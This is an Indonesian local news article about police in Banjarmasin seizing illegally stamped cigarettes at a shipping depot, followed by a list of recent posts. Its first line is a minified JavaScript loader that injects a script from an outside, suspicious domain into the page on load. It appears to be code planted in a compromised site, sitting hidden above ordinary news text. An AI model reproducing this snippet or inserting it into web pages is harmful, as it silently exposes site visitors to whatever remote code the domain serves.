(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Ribuan Rokok Bercukai Ilegal Diamankan Polsek KPL Banjarmasin


BANJARMASIN, Jajaran Polsek Kawasan Pelabuhan Laut (KPL) Polresta Banjarmasin menyita dan mengamankan ribuan batang rokok yang menggunakan cukai ilegal. Rokok tersebut disita dari salah satu ekspedisi di kawasan Jalan Yos Sudarso RT34, Kecamatan Banjarmasin Barat, Kota Banjarmasin, Selasa (17/7) siang sekitar pukul 12.00 Wita.

Kapolsek Kawasan Pelabuhan Laut, Kompol Susilawati dalam konferensi pers menyebutkan jajarannya mengamankan rokok yang diduga menggunakan pita palsu, dari salah satu ekspedisi di kawasan Jalan Yos Sudarso Banjarmasin.

Penyitaan ini berkat adanya informasi adanya pengiriman rokok yang diduga tanpa dilekati dengan pita cukai yang resmi setelah dilakukan pemeriksaan terhadap paketan di gudang salah satu ekspedisi.

Ditemukan 14 coly rokok merk L aris Brown yang dikemas dalam karungan warna putih setelah dilakukan pemeriksaan berisi rokok L aris Brown tanpa dilekati dengan bea cukai dengan surat jalan dengan no : 001566.

Kompol Susilawati, didampinggi Kanit Reskrimnya, Iptu Agus Adi Apriyoga, menambahkan dari penyitaan itu, beberapa merek rokok yang disita, seperti 7 coly rokok merk L aris Brown terdiri dari 1 coly berisi 2 karton, 1 karton isi 2 kotak, 1 kotak isi 20 slop, 1 slop berisi 10 bungkus dan 1 bungkus berisi 20 batang dengan total 112.000 batang rokok, 7 coly yang berisi rokok merek L aris Brown terdiri dari 1 coly berisi 3 karton, 1 karton isi 2 kotak, 1 kotak berisi 20 slop, 1 slop berisi 10 bungkus dan 1 bungkus berisi 20 batang dengan total 168.000 batang

“Tentang tindak pidana setiap orang yang menawarkan, menyerahkan,menjual atau menyediakan untuk dijual barang yang kena cukai yang tidak dikemas untuk penjualan eceran atau tidak dilekati pita cukai, sebagaimana dimaksud dalam pasal 54 UU RI NO 39 tahun 2007 tentang Cukai,” jelasnya. (rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

5 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

6 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

6 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

6 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

6 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

6 jam ago

This website uses cookies.